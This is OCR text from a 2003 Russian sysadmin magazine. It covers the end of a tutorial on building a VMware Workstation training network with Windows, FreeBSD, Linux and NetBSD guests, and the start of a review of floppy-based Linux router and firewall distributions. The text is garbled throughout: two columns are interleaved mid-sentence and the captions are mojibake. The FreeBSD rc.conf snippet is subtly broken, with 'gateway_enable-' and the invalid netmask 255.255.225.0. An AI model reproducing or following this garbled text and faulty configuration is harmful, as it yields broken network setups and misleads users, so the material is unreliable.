ит помнить, что коммутаторов может быть не более девяти
штук, а значит, и сетей создать на их основе можно точно
такое же количество. Каждая сеть, созданная внутри вир-
туальной машины, получает стандартное имя VMnet и но-
мер, указывающий, на основе какого коммутатора она ра-
ботает. Таким образом, у нас возникает набор сетей с на-
званиями от VMnet1 до VMnet9. Количество сетевых адап-
теров, которые можно подключить к любому из вышепере-
численных коммутаторов, неограничено.
Мост (bridge) – устройство, позволяющее прозрачно
присоединить сетевой интерфейс любой виртуальной ма-
шины к локальной сети, в которой работает реальная ма-
шина. Виртуальный адаптер получает адрес из простран-
ства реальной сети, а для передачи и приема пакетов ис-
Принимаем поздравления по факту завершения уста- пользуется реальный сетевой адаптер. Таким образом,
новки. И потихоньку, нажав кнопку «Finish», переходим к всем машинам, находящимся в реальной сети, будет ка-
следующему этапу. заться, что у реального компьютера появился еще один
сетевой интерфейс.
Виртуальный сетевой адаптер хоста (host virtual
adapter) создается для того, чтобы соединить гостевую и
основную операционные системы. Для этой цели на реаль-
ной машине организуется частная сеть класса C. В терми-
нологии VMWare Workstation подобные сети называются
(host-only network). В такую сеть входит виртуальный адап-
тер основной системы. Виртуальный адаптер основной си-
стемы нужно создать вручную через интерфейс управле-
ния сетями. И только затем можно будет добавлять в целе-
вую сеть адаптеры гостевых систем. Бояться утечки паке-
тов и проблем с безопасностью при использовании подоб-
ных сетевых адаптеров не стоит из-за того, что они не при-
соединены ни к одной из внешних реальных сетей.
Устройство NAT (Network Address Translation device) –
Вводим серийный номер для Windows, взятый из пись- присоединяет виртуальный адаптер к существующему ре-
ма. В качестве имени пользователя и названия компании альному. Но в отличие от случая, в котором используется
можно писать все, что придет в голову. мост, никаких новых интерфейсов в реальной сети не по-

14
администрирование
является. Программное обеспечение NAT перехватывает На следующем экране показан диалог для добавле-
все проходящие пакеты и изменяет их так, чтобы систе- ния устройств типа мост. В нашем примере использовать
мы, находящиеся в реальной сети, считали, что общают- эту возможность мы не будем. Поэтому переходим к сле-
ся с реальным адаптером основной системы. При каж- дующей странице.
дом запросе, исходящем от виртуального адаптера, NAT
записывает запрос в специальную таблицу преобразова-
ний и открывает соединение с целевой системой, исполь-
зуя определенный диапазон портов реального интерфей-
са, и через него отправляет пакет. По приходу ответа,
опираясь на номер порта, NAT преобразует пакет к виду,
приемлемому для виртуальной сети, и отдает его вирту-
альному адаптеру, по запросу которого создавалось со-
единение. Таким образом, появляется возможность од-
новременной работы нескольких виртуальных адаптеров
через один реальный сетевой адрес.
DHCP-сервер (Dynamic host configuration protocol
server) – виртуальный сервер динамического конфигури-
рования узлов позволяет раздавать сетевые и админист-
ративные параметры централизованно для сетей на ос- Здесь мы видим список наших сетей. Надпись «Not
нове host-only и NAT. bridged» не настроена и на данный момент не может быть
Настал момент, когда нужно снова прекратить грызть использована.
гранит науки и опять начать практическую деятельность
по настройке макета наших виртуальных сетей.
Под Windows для выполнения этой задачи служит про-
грамма управления сетями «Virtual Network Editor». За-
пускаем ее, последовательно пройдя через меню Пуск →
Программы → VMWare Workstation → Manage virtual
networks. Того же результата можно добиться, если выб-
рать в работающей VMWare Workstation пункты меню Edit
→ Virtual Network Settings.

Далее идет список виртуальных сетевых адаптеров,


функционирующих в нашей системе. Судя по рисунку,
активированы адаптеры для сетей VMnet1 и VMnet8.

На первом экране видим суммарную статистику по


виртуальным сетям, созданным с настройками по умол-
чанию во время инсталляции VMWare Workstation. Итак,
судя по картинке, сеть VMnet0 зарезервирована для уст-
ройств типа мост. Таким образом, VMnet1 – это (host-only) Следующий снимок показывает интерфейс, позволя-
сеть 192.168.149.0 из адресного пространства, выделен- ющий управлять виртуальным DHCP-сервером. Как мы
ного для частных сетей. Ну и VMnet8 сеть 192.168.32.0 видим, он обслуживает сети 192.168.149.0 (VMnet1) и
соответственно служит для устройств NAT. 192.168.32.0 VMnet8.

№9(10), сентябрь 2003 15


администрирование
Самый последний из показанных экранов демонстри- Разобравшись с теорией распределения адресов в вир-
рует возможности управления сервисом NAT, активиро- туальных сетях, давайте посмотрим, как выглядит с точ-
ванным для сети VMnet8. ки зрения VMWare Workstation создаваемый нами макет
Для создания виртуальных сетей host-only и NAT исполь- сети предприятия.
зуются сети класса C из адресного пространства, выде- На первый взгляд схема сетевых взаимодействий выг-
ленного для частных подсетей. Адреса таких сетей начи- лядит устрашающе сложно, но на самом деле это не так,
наются с 192.168.0.0 и продолжаются по 192.168.255.255 и через несколько минут вы будете с легкостью ориенти-
включительно. Выше по тексту мы обсуждали примене- роваться в топологии наших сетей. Итак, на рисунке мы
ние виртуального DHCP-сервера для раздачи адресов се- видим все перечисленные ранее хосты и их интерфейсы.
тевым интерфейсам наших гостевых систем. Давайте по- Присмотревшись внимательно, легко разобраться в со-
смотрим, как это работает, и в качестве примера будем ответствии между IP-адресами и интерфейсами. Далее
использовать схему адресации для вымышленной сети изображены три виртуальных коммутатора для сетей host-
192.168.13.0. only VMnet1 (192.168.40.0), VMnet2 (192.168.80.0), VMnet3
Òàáëèöà 1. Ðàñïðåäåëåíèå àäðåñîâ â ñåòÿõ òèïà host-only (192.168.120.0). Соответственно для работы с устройством
NAT (192.168.32.2) предназначена сеть VMnet8, для кото-
рой по умолчанию используется адресное пространство
192.168.32.0.
Также обратите внимание на тот факт, что виртуаль-
ные DHCP-сервера работают только в сетях VMnet2 и
VMnet8. Исходя из того факта, что в сетях VMnet1 и VMnet3
используются статические IP-адреса, DHCP-сервера этих
сетей отключены за ненадобностью.
Òàáëèöà 2. Ðàñïðåäåëåíèå àäðåñîâ â ñåòÿõ, èñïîëüçóþùèõ NAT Снова открываем программу управления нашими вир-
туальными сетями. Первым делом нужно изменить наст-
ройки сети VMnet1. По умолчанию она привязана к ад-
ресному пространству 192.168.149.0. По моему мнению,
такую комбинацию цифр неудобно запоминать, поэтому
мы исправим адрес VMnet1 на 192.168.40.0. Для этого вы-
бираем вкладку «Host Virtual Network Mapping» и нажима-
ем кнопку «…» напротив надписи VMnet1.

16
администрирование
Не стоит расслабляться и считать работу выполнен-
ной после того, как в списке адаптеров появится над-
пись «New device». На самом деле новый адаптер еще
не создан.
Как всегда, используем по прямому назначению кноп-
ку «Применить», после этого ждем, пока система выйдет
из задумчивого состояния и обновит список адаптеров.
На экране должно появиться что-то похожее на следую-
щую картинку.

После этого активизируем вновь появившееся подме-


ню «Subnet».
По умолчанию после того, как создан новый вирту-
альный адаптер, внутри только что налаженной сети на-
чинает работать DHCP-сервер. Вы можете в этом убе-
диться, выбрав вкладку «Host Virtual Network Mapping» и
нажав кнопку «…». Теперь в выпадающем меню появил-
Вносим данные о нашей сети 192.168.40.0, по умолча- ся добавочный пункт «DHCP». Если выбрать его, то в
нию используется сетевая маска 255.255.255.0. Нажимаем ответ получим следующий диалог, позволяющий менять
кнопку «OK» и вновь возвращаемся к интерфейсу управле- настройки DHCP-сервера. Кстати, точно такого же эф-
ния сетями. Стоит крепко-накрепко запомнить, что после фекта можно добиться, если нажать на вкладку DHCP
внесения любых изменений необходимо каждый раз нажи- главного интерфейса, выбрать нужную сеть и использо-
мать кнопку «Применить», иначе ничего не произойдет. вать кнопку «Properties». Все вышеописанные манипу-
ляции производились с целью показать, как легко и про-
сто можно менять опции DHCP, но так как в данном слу-
чае нас устраивают настройки по умолчанию, то изме-
нять мы ничего не станем.
В документации, поставляющейся вместе с VMWare
Workstation, говорится, что сети VMnet рекомендуется
Теперь переходим на вкладку DHCP и, выбрав запись, строить на основе частных сетей класса C. Нигде не ска-
указывающую что для сети VMnet1 включена раздача IP-ад- зано, что создавать сети других классов запрещено, и
ресов с помощью DHCP, нажимаем кнопку «Remove». И, как поэтому я решил проверить, можно ли получить вирту-
всегда, для завершения щелкнем по кнопке «Применить». альные сети класса B и С. В процессе создания сети все
После того как мы разобрались с сетью VMnet1, оста- идет нормально, и никакие ошибки на экране не появля-
лось создать еще две сети VMnet2 и VMnet3. Снова воз- ются. VMWare Workstation ни на что не жалуется, но ни
вращаемся к вкладке «Host Virtual Network Mapping» и одна из свежесозданных сетей не работает. Повторив
опять жмем кнопку «…» напротив надписи VMnet2. Как свой неудачный эксперимент несколько раз, с сожале-
всегда, выбираем пункт меню «Subnet» и в появившемся нием констатирую, что нам придется работать только с
диалоговом окне вписываем 192.168.80.0. Как обычно, не сетями класса C.
забываем уделить внимание кнопкам «OK» и «Приме- Покончив с лирическими отступлениями, переходим к
нить». Пока что наша сеть не активирована, потому что в созданию последней из необходимых нам сетей. Думаю,
основной системе нет виртуального адаптера, отвечаю- читатель уже достаточно поднаторел в подобном ремес-
щего за нее. Поэтому переходим на вкладку «Host Virtual ле и сможет самостоятельно создать сеть VMnet3 с ад-
Adapters» и жмем кнопку «Add new adapter». ресным пространством 192.168.120.0. По окончании про-
цесса желательно не забыть отключить DHCP для этой
сети. Впрочем, если вы этого не сделаете, то ничего
страшного не произойдет, но дизайн сети будет уже не
таким опрятным.
В вашей голове может возникнуть вопрос: «Если все
Проверяем, чтобы в выпадающем списке была выб- и так работает, зачем делать лишние движения?». Я счи-
рана сеть VMnet2, и снова жмем «OK». таю, что все эти процедуры желательно выполнять, пото-
му что такой подход упрощает понимание механизмов
действия наших сетей. Посмотреть список виртуальных
адаптеров, появившихся внутри основной системы, мож-
но, пройдя через меню Пуск → Настройка → Сеть и уда-
ленный доступ к сети.

№9(10), сентябрь 2003 17


администрирование

Нажав кнопку «Next», переходим к следующему шагу.


Ради удовлетворения собственного любопытства мо- Теперь нужно выбрать, какой тип конфигурирования мы
жете посмотреть опции любых адаптеров. будем использовать. По умолчанию используется опция
Мы не будем трогать настройки сети VMnet8, установ- «Typical». Если выбрать ее, то VMWare Workstation без на-
ленные по умолчанию, так как нас они вполне устраива- шего участия решит, какой набор устройств стоит вклю-
ют. Вот теперь самое время приступить к созданию вир- чить в создаваемую виртуальную машину. Мне такой под-
туальных машин. ход не нравится, потому что я предпочитаю самостоятель-
Итак, запускаем VMWare Workstation и видим перед но выбирать необходимые компоненты. А значит, нам нуж-
собой что-то вроде этой картинки. но использовать опцию «Custom».

Пришел черед выбрать операционную систему. Я ду-


маю, вы уже догадались, что нам нужна Windows 98.

Первым делом мы создадим машину с Windows 98 SE.


Вначале была опробована обычная версия Windows 98,
которая проинсталлировалась, как положено, с первого
раза. Но ни у меня, ни у кого-либо из знакомых лицен-
зий на неё не было. Поэтому пришлось снести ее и ис-
пользовать OEM-версию Windows 98, поставлявшуюся
с рабочими станциями для фирмы, в которой я сейчас
работаю. Кстати, стоит отметить, что пришлось перепро-
бовать несколько версий системы, поставлявшихся с
разными партиями оборудования. Из четырех вариантов
три подвисали на разных этапах установки. Видимо, дело
в том, что они рассчитаны на довольно-таки специфи-
ческое оборудование. После того как был найден дист-
рибутив, нормально работающий под виртуальной ма-
шиной, началась установка.
Итак, первым делом выбираем меню File → New →
New Virtual Machine.
В ответ получаем диалог помощника, который бу-
дет сопровождать нас в процессе создания новой вир- Далее определяем имя виртуальной машины и путь к
туальной машины. директории, где будут находиться все ее файлы.

18
администрирование

На следующем шаге нужно решить, сколько оператив-


ной памяти будет доступно создаваемой виртуальной
машине. Судя по картинке, основная система располага-
ет 256 Мб оперативной памяти, из которых 192 Мб отдано
для нужд VMWare Workstation и работающих внутри нее Наступило время решить, каким образом будут хранить-
виртуальных машин. Автоматический помощник предла- ся данные, записываемые на жесткий диск виртуальной
гает по умолчанию выделить вновь создаваемой системе машины. Опция «Create New Virtual Disk» приказывает со-
64 Мб, но я думаю, что и 32 Мб хватит с головой. Если уж здать новый файл-хранилище для виртуального диска. За
быть совсем жестоким, то можно поставить 16 Мб, но тогда ней идет «Use an existing Virtual Disk», позволяющая ис-
появится некоторое некритичное, но все же неприятное пользовать файл, созданный ранее. Например, такой файл
замедление работы этой виртуальной машины. Стоит может остаться от другой виртуальной машины, которую
обратить внимание, что размер выделяемой памяти дол- вы решили переустановить. Последняя опция «Use a
жен быть обязательно кратен 4 Мб. physical disk» дает нам возможность использовать в каче-
стве виртуального диска какой-либо раздел жесткого дис-
ка реальной машины. Эта опция довольно опасна, потому
что позволяет по неосторожности легко уничтожить дан-
ные в любом разделе реального жесткого диска. Выбира-
ем первую опцию и, как всегда, жмем «Далее».

В ответ на наши действия, направленные на эконо-


мию ресурсов, система предупреждает нас о том, что
выбранный размер оперативной памяти существенно
меньше рекомендуемого, и это может привести к сни-
жению быстродействия. Мы с вами и так это знаем и
готовы пойти на такие маленькие жертвы. Поэтому не-
дрогнувшей рукой жмем «Yes». Следующий экран позволяет определить размер в Гб
жесткого диска, выдаваемого гостевой системе. Я думаю,
что 0,5 Гб, или, проще говоря, 500 Мб, будет достаточно.
Следующая опция «Allocate all disk space now» позволяет
выделить все необходимое место сразу. Таким образом,
на жестком диске основной системы у нас появится файл
размером 500 Мб, заполненный нолями. Такой способ ра-
Далее необходимо выбрать, к какому типу сетей бу- боты ускоряет выполнение операций записи на виртуаль-
дет относиться сетевой интерфейс создаваемой гостевой ный диск из гостевой системы, но в то же время уменьша-
системы. По умолчанию предлагается интерфейс мост ет свободное место реального жесткого диска. В противо-
«Bridged Networking», но нас это не устраивает, так как вес такому подходу можно выделять пространство внутри
машина должна находиться в сети VMnet3. Если мне не виртуального диска динамически, в ответ на запросы гос-
изменяет память, то эта сеть относится к классу host-only, тевой системы. Это будет слегка медленнее, зато вирту-
поэтому выбор очевиден. альная машина будет занимать гораздо меньше места на

№9(10), сентябрь 2003 19


администрирование
жестком диске реальной системы. Я решаю использовать Выбираем пиктограмму сетевой карты и получаем
схему с динамическим распределением места. Последняя возможность редактировать ее параметры. Из ниспада-
из опций, доступных на этом экране, «Split disk into 2 GB ющего списка выбираем VMnet3 и снова жмем «OK».
files», позволяет разбить большой виртуальный диск на
файлы размером по 2 Гб. Таким образом, виртуальный диск
размером в 4,5 Гб на жестком диске реальной системы
будет представлен двумя файлами по 2 Гб и одним фай-
лом с размером 0,5 Гб. Эта возможность нужна, если фай-
ловая система основной операционки не поддерживает
файлы размером более 2 Гб. Эта опция нас также не инте-
ресует, поэтому оставляем ее нетронутой.

Немного передохнув, с воодушевлением приступаем


к установке операционной системы.
Для того, чтобы подать электропитание на нашу вир-
туальную машину, жмем клавишу с зеленой стрелкой и
смотрим, как происходит включение.

Далее нам предлагают придумать имя для файла, в ко-


тором будет храниться файловая система виртуальной
машины. Вариант по умолчанию отлично подходит для этих
целей. Поэтому жмем кнопку «Готово», завершая процесс
предварительной настройки виртуальной машины.
Надпись внизу экрана подсказывает нам о необходимос-
ти нажать клавишу «F2», чтобы войти в интерфейс управле-
ния BIOS. С радостью выполняем это действие и попадаем
внутрь самого что ни на есть настоящего BIOS. Инсталляцию
мы начнем с заранее припасенной загрузочной дискеты.

Интерфейс VMWare Workstation слегка изменился.


Кнопки управления стали активны, а правая и централь-
ная части экрана стали отображать данные о только что
созданной машине.

Теперь нужно перейти в раздел «Boot» и с помощью кла-


виш «+» и «-» выставить список загрузочных устройств так,
как изображено на рисунке. После этого, воспользовавшись
меню «Exit», выходим с сохранением внесенных изменений.
Для начала нам нужно настроить сетевой адаптер си- Гостевая система снова начнет перезагрузку. После того как
стемы так, чтобы он находился в сети VMnet3. Для этого загрузка с дискеты успешно завершилась, с помощью про-
используем меню Edit → Virtual Machine Settings. граммы fdisk создаем основной раздел и делаем его актив-

20
администрирование
ным. Для того, чтобы изменения вступили в силу, снова пе- Завершив настройку Windows 98, переходим к настрой-
резагружаемся. Для этого можно использовать клавишу, ке FreeBSD 4.7. Большинство действий, производимых
находящуюся на панели инструментов VMWare Workstation нами, будет схоже с предыдущим примером. Будем заос-
и состоящую из двух разноцветных стрелок, обвивающихся трять внимание только на отличиях. Итак, я создал вирту-
друг вокруг друга. После загрузки командой format c: разме- альную машину с жестким диском размером в 1 Гб диско-
чаем единственный раздел жесткого диска. Стоит отметить, вого пространства и 32 Мб оперативной памяти, если воз-
что загрузочная дискета, которой я пользуюсь, с помощью никнет надобность и желание что-либо менять, можете
драйвера mscdex самостоятельно подключает к системе CD- отдать ей гораздо меньше ресурсов. На быстродействие
ROM с дистрибутивом. По завершении процесса переходим этой системы подобные изменения никак не повлияют.
на диск D: и запускаем оттуда инсталляцию системы. Я ду- Стоит также отметить, что для FreeBSD лучше выделить
маю, что каждый из вас много раз выполнял последователь- все место сразу в файле виртуального диска. Как это
ность действий, необходимых для успешной инсталляции делать, мы обсуждали во время установки Windows. Если
Windows, поэтому опускаю рутинные подробности. Пример- этого не сделать, то посреди инсталляции вас может под-
но через 20 минут происходит первый запуск Windows. На жидать неприятность.
вашей машине этот временной промежуток может быть бо-
лее или менее продолжительным. Все зависит от скорости
реального жесткого диска. В процессе первой загрузки
Windows обнаружит следующие устройства: звуковую кар-
ту PCI Multimedia Audio Device, сетевой адаптер AMD PC Net
Family Ethernet (PCI-ISA) и стандартный видеоадаптер PCI
VGA. Для них будут автоматически подобраны наиболее под-
ходящие драйвера. Конечно, изображение на экране остав-
ляет желать лучшего, но нас это на данный момент не осо-
бенно интересует. Сейчас для нас самая главная задача – Видимо, в момент установки программного обеспече-
настроить сетевую подсистему Windows. Открываем на- ния обмен с винчестером слишком интенсивен, и диско-
стройки сетевой карты Windows и вносим туда вот такие вая подсистема Windows не выдерживает такой нагруз-
данные: IP-адрес 192.168.120.15 и маску сети 255.255.255.0: ки. Кстати, под Linux такой ошибки я не встречал ни разу.
Перед запуском инсталляции в машину нужно доба-
вить еще две дополнительные сетевые карты. Как, навер-
ное, догадались самые любознательные читатели, мы сно-
ва воспользуемся меню Edit → Virtual Machine Settings.
Во-первых, убеждаемся, что первая сетевая карта привя-
зана к сети Vmnet1. После этого нажимаем кнопку «Add»,
затем в новом окне жмем «Далее». В следующем диало-
говом окне выбираем строку Ethernet Adapter и снова
жмем «Далее».

В качестве шлюза по умолчанию устанавливаем адрес


192.168.120.2. После перезагрузки нужно будет проверить,
правильно ли применились сетевые параметры. Если все
произошло так, как мы хотели, то можно считать настрой-
ку этой машины оконченной. Для того, чтобы она не меша-
ла нам работать, ее можно выключить. Если выключать
желания нет, то можно применить более элегантный при-
ем. С помощью меню Power → Suspend или кнопки, состо- Стоит обязательно настроить все так, чтобы вновь
ящей из двух желтых линий, можно перевести виртуаль- добавляемая карта была предназначена для сети
ную машину в состояние глубокого сна. В таком режиме VMnet2. Жмем на кнопку «Готово». Как видите, проце-
она не будет использовать системные ресурсы. Все про- дура добавления нового оборудования в систему доволь-
граммы, выполнявшиеся внутри машины, будут останов- но проста. Самостоятельно добавляем еще одну карту с
лены и заморожены, их выполнение продолжится с того привязкой к VMnet3. Стоит отметить, что внутри VMWare
же места, где они были остановлены, только после того, Workstation стоит ограничение на количество сетевых
как вы воспользуетесь меню Power → Resume или клави- карт, которые можно добавить в одну машину. Ни одна
шей, включающей питание этой виртуальной машины. виртуальная машина не может иметь более трех сете-

№9(10), сентябрь 2003 21


администрирование
вых карт. Завершив предварительные приготовления,
запускаем инсталляцию. Настраиваем BIOS так, чтобы
загрузка шла с CD-ROM, потому что дистрибутив систе-
мы у нас находится именно там. Я думаю, разметить диск
и инсталляцию FreeBSD вы сможете самостоятельно.
После того как система загрузилась первый раз, нам
нужно настроить сетевую подсистему. Сетевые интер-
фейсы, которые мы добавили в систему, называются
lnc0, lnc1 и lnc2 соответственно. Для того чтобы они за-
работали как положено, настраиваем систему с помо-
щью программы /stand/sysinstall или вручную вносим
следующие данные в файл rc.conf:

gateway_enable-"YES"
defaultrouter="192.168.40.57"
ifconfig_lnc0="inet 192.168.40.2 netmask 255.255.225.0"
ifconfig_lnc1="inet 192.168.80.2 netmask 255.255.225.0"
ifconfig_lnc2="inet 192.168.120.2 netmask 255.255.225.0"

Таким образом, мы разрешили прохождение пакетов


между всеми тремя интерфейсами и назначили шлюзом
по умолчанию машину NetBSD. Перезагружаем систему
для того, чтобы настройки вступили в силу.
Как только перезагрузка завершится, можно размо- Таким образом, мы разрешаем этой системе получать
розить машину Windows или запустить ее, если она у вас адрес от DHCP-сервера. И результат не заставит себя
еще не запущена. Как только Windows загрузится, выби- ждать. Находясь в командном интерпретаторе, выполня-
раем меню Пуск → Программы → Сеанс MS-DOS, в по- ем команду ipconfig /all.
явившемся окне командной оболочки пробуем выполнять
по очереди нижеследующие команды.

ping 192.168.120.2
ping 192.168.80.2
ping 192.168.40.2

Все команды должны показать, что ICMP-пакеты до-


стигли цели и благополучно вернулись назад. Итак, пе-
реходим к следующей машине, которая будет выступать
у нас в роли веб-сервера. На нее нам предстоит устано-
вить Linux Mandrake. Как и в случае FreeBSD, установка
у нас происходит с CD-ROM. Этой машине мы выделяем
1 Гб пространства жесткого диска и 64 Мб оперативной
памяти. Сетевой адаптер у нас один, и он принадлежит Должны получиться именно такие сведения о парамет-
к сети VMnet1, я надеюсь, вы сможете сделать так, что- рах сетевого адаптера. С помощью команды ping прове-
бы это соответствовало истине, самостоятельно. За счет ряем доступность всех работающих в нашей сети хостов.
использования графической оболочки процесс инстал- Теперь самое время перейти к нашей последней и, воз-
ляции проходит совершенно безболезненно. Главное – можно, самой интересной инсталляции. Сейчас мы созда-
не забыть заказать инсталляцию веб-сервера apache. дим машину на основе NetBSD, которая будет служить для
Под конец установки дать системе IP-адрес 192.168.40.32 нас шлюзом в Интернет. Интересные моменты начинают-
и назначить шлюзом по умолчанию IP 192.168.40.2, при- ся практически сразу после начала создания виртуальной
надлежащий машине FreeBSD. В остальном все выгля- машины. NetBSD нет в списке официально поддерживае-
дит довольно прозрачно. мых VMWare Workstation систем, поэтому во время выбора
Следующим нашим пациентом становится машина на типа системы мы будем использовать опцию «Other». Вы-
основе OEM версии Windows 2000 Professional. Как вы деляем 300 Мб свободного пространства на жестком дис-
уже догадались, ничего нетипичного здесь нет. Инстал- ке и 32 Мб оперативной памяти. Для такой маленькой сис-
ляция выполняется с загрузочного CD-ROM. Для работы темы, как NetBSD, этого будет вполне достаточно. Как вся-
этой машины выделен 1 Гб жесткого диска и 64 Мб опе- кому порядочному шлюзу между сетями, даем две сете-
ративной памяти. Изюминкой, ради которой была затея- вые карты: первая из них смотрит в VMNet1 и имеет адрес
на возня с этой машиной, является работа с DHCP. После 192.168.40.57, а вторая получает адрес 192.168.32.128 и
того как инсталляция Windows 2000 будет окончена, нуж- направлена в сторону VMNet8. Также в этой сети по адре-
но настроить свойства протокола TCP/IP так, как показа- су 192.168.32.2 находится устройство NAT. Я надеюсь, вы
но на рисунке. сможете самостоятельно добавить устройства этих сете-

22
администрирование
вых карт в виртуальную машину. Инсталляцию мы будем внутрь сети входящих TCP-пакетов, а нижняя соответ-
проводить не с CD-ROM, а с его iso-образа. Согласитесь, ственно UDP. Нам нужно настроить TCP, поэтому исполь-
довольно полезная возможность, если вы скачали образ зуем кнопку «Add» верхнего окна.
диска из Интернета, а под рукой нет пишущего CD-ROM. Настраиваем проброс так, чтобы все входящие пакеты с
Итак, чтобы пристыковать образ как диск CD-ROM, нужно порта 80 попадали на порт 80 веб-сервера. Несколько раз
сделать следующее. Настраиваем в BIOS загрузку с CD- жмем кнопку «OK» и затем один раз кнопку «Применить».
ROM, затем в списке оборудования выбираем этот самый Вот теперь можно начинать установку NetBSD. Обо-
CD-ROM. Изменяем его свойства так, чтобы стала актив- лочка инсталлятора очень похожа на оболочку FreeBSD,
на опция «Use ISO Image», затем с помощью кнопки поэтому, я думаю, проблем с ней возникнуть не должно.
«Browse» выбираем необходимый файл образа. Главное – не забыть настроить сетевую карту, смотря-
щую в сеть VMnet1 на адрес 192.168.40.57. Вторая карта
будет получать параметры своих настроек от сервера
DHCP, работающего в сети VMnet8. Кстати, стоит отме-
тить, что шлюзом по умолчанию для второй карты будет
адрес устройства NAT.
По окончании установки и настройки NetBSD все наши
подопытные сети смогут ходить в Интернет, а также
пользоваться услугами внутреннего веб-сервера. А кли-
енты из внешних сетей будут видеть веб-сервер на 80-м
порту сетевого адаптера нашей реальной машины.
В результате при заходе на веб-сервер из любой сети
Поскольку для связи с внешним миром NetBSD будет должна получаться вот такая картинка.
использовать NAT, нужно немного подправить настройки В данной статье намеренно не описываются никакие
сети VMnet8. Как обычно, для этих целей используем ре- меры по обеспечению безопасности вновь созданных се-
дактор сетей VMWare Workstation. Выбираем вкладку NAT, тей, потому что эта тема выходит далеко за рамки пове-
убеждаемся, что выбрана именно VMnet8, и жмем клави- ствования. Не стоит пытаться объять необъятное.
шу «Edit», в ответ открывается диалог настроек NAT. Нам Во второй части этой статьи мы поговорим об инстал-
нужно идти глубже, поэтому жмем на клавишу «Port ляции VMWare Workstation под Linux. И о том, как сделать
forwarding». Появляется еще одно окно, разделенное на точно такой же макет тренировочной сети под вышеназ-
два окна поменьше, верхняя часть отвечает за проброс ванной операционной системой.

№9(10), сентябрь 2003 23


администрирование

Маленький Linux
в качестве firewall

СЕРГЕЙ ЯРЕМЧУК

24
администрирование
Со временем устаревает любая техника, в том числе оно честь такой идеи, и что самое интересное, на первона-
не считается и с компьютерами. Выпущенные буквально чальное знакомство и настройку ушло всего минут двад-
год назад считаются уже устаревшими. А что делать с цать, так что такой вариант может быть использован в
компьютерами, которым уже «далеко за»? Выбрасывать- экстренных случаях, когда вышел из строя основной мар-
то жалко. Иногда их фирма продает по дешевке, компен- шрутизатор. Итак, FreeSCO http://www.freesco.org (назва-
сируя покупку новых машин. Но на их плечи можно пере- ние пошло от Free ciSCO router). При таких маленьких раз-
ложить маленькие задачи, разгрузив таким образом бо- мерах, всего одна дискета, этот дистрибутив умеет до-
лее мощные системы. Так, их можно запросто настроить вольно многое: обеспечивает одновременную поддержку
как роутер и/или firewall, использовать в качестве бездис- до 3 ethernet/arcnet/token_ring/arlan сетевых карточек и до
ковых рабочих станций и Х-терминалов, отдельных 2 модемов (большинство нижеописываемых поддержива-
пользовательских машин и даже возложить на них мони- ют только два сетевых устройства), режим моста,
торинг, аудит и детектирование вторжения в компьютер- firewalling (для защиты внутренней сети от несанкциони-
ную сеть. Сегодня предлагаю познакомиться с дистрибу- рованного доступа из Интернета или ограничения досту-
тивами, которые позволяют настроить совместный дос- па в Интернет для внутренних пользователей), NAT (транс-
туп в Интернет, среди дополнительных возможностей не- ляция сетевого адреса для коллективного доступа в сеть),
которые имеют firewall, NAT, кеширующий DNS-сервер, сервер DNS, DHCP-сервер для динамического выделения
сервер DHCP, ftp- и www-серверы. В более продвинутых адресов, HTTP-сервер (для удаленного администрирова-
решениях встречается даже возможность создания вир- ния через веб-интерфейс – рис.1, 1а), telnet-сервер (для
туальных частных сетей VPN. Для большинства из рас- удаленного управления системой – рис.1б), print-cервер
сматриваемых дистрибутивов наличие жесткого диска и TIME-cервер (в комплекте есть и графический клиент
тоже необязательно. Некоторые помещаются на одну дис- для Windows). Системные требования также невысоки:
кету, обеспечивая только необходимый минимум, более процессор от i386, 6 Мб ОЗУ (рекомендовано 16 Mб). Под-
оснащенные варианты требуют уже наличия СD-ROM для держиваются большинство сетевых карт (полный список
своего запуска или установки. совместимых с дистрибутивом смотрите на сайте; соот-
Начнем, наверное, с любимчика. Это был один из пер- ветствующий драйвер, если что-то не получается, просто
вых дистрибутивов подобного направления, с которым положите в a:\router\drv). Модемы в принципе любые, кро-
мне пришлось столкнуться и который показал всю живу- ме, наверное, win-модемов. FreeSCO очень просто уста-

Ðèñóíîê 1.

№9(10), сентябрь 2003 25


администрирование

Ðèñóíîê 1à.
навливать и настраивать. После перезагрузки в строке высоки – 386sx или лучше 12 Мб ОЗУ (при меньшем объе-
приглашения введите setup и отвечайте на вопросы. Зе- ме можно использовать более раннюю версию, которая
леным цветом выделены вопросы, которые необходимо есть на сайте). Очень простая система пакетов, которую
обязательно настроить, желтым – опциональные, а крас- можно использовать для добавления необходимых при-
ные вопросы для тех, кто в состоянии разобраться в том, ложений: редакторов, PPP, VPN и пр. Поддерживается ре-
что делает. Вводя номер телефона провайдера, при то- гистрация событий при помощи klogd/syslogd, локальное
новом наборе набейте перед номером букву Т, при им- и удаленное управление, имеются серверы DHCP и ке-
пульсном – Р, если вы используете мини-АТС, введите ширующий DNS для внутренних сетей. Образ сохраняет-
символ W, например Т9W2798007. Используется два па- ся на дискете с файловой системой FAT, что позволяет
роля: root и администратора (для удаленной настройки очень просто редактировать необходимые параметры в
через веб-интерфейс, 82 порт по умолчанию). И еще одно Windows или DOS, на свободное место, оставшееся на
удобство реализовано во FreeSCO, хотя все установки при дискете, можно добавить пару своих приложений, в том
выключении сохраняются на дискете, его можно устано- числе и пересобранное под свои нужды ядро. Настройка
вить на жесткий диск, для этого вместо setup введите производится вручную без помощи вспомогательных ути-
mv2hd. Жесткий диск должен быть отформатирован как лит, но все заготовки можно заранее прописать в .ini- и
FAT16 или FAT32. После перезагрузки введите setup и .cfg-файлах. Несмотря на необходимость изучения рабо-
делайте все, как описано выше (дискету перед этим, ес- ты соответствующих утилит (ipchains и ipmasqadm),
тественно, необходимо удалить). Затем можно доустано- floppyfw со своими обязанностями справляется на «отлич-
вить необходимые для работы программы, скомпилиро- но». В Интернете читал много хороших откликов, плюс
вав их предварительно в другом дистрибутиве. При таких ориентированность на безопасность.
размерах это просто супер. Coyote Linux (http://www.coyotelinux.com/). Цель этого
Floppyfw (http://www.zelow.no/floppyfw/index.html) крат- проекта состоит в том, чтобы обеспечить совместный дос-
ко можно охарактеризовать как маршрутизатор с расши- туп в Интернет, используя одно соединение и больше ни-
ренными возможностями firewall, который размещается и чего, но зато без предварительного изучения основ Linux
работает с одного диска. Поддерживаются списки досту- (хотя это в любом случае только приветствуется). При этом
па, IP-masquerading или NAT (Network Address Translation), первоначально необходимо сконфигурировать будущую си-
маршрутизация пакетов. Системные требования также не- стему при помощи визарда в Windows (рис.2) или скрипта

26
администрирование

Ðèñóíîê 1á.
в Linux. В ходе которого, отвечая на вопросы, можно будет этом ничего лишнего в систему не будет добавлено. После
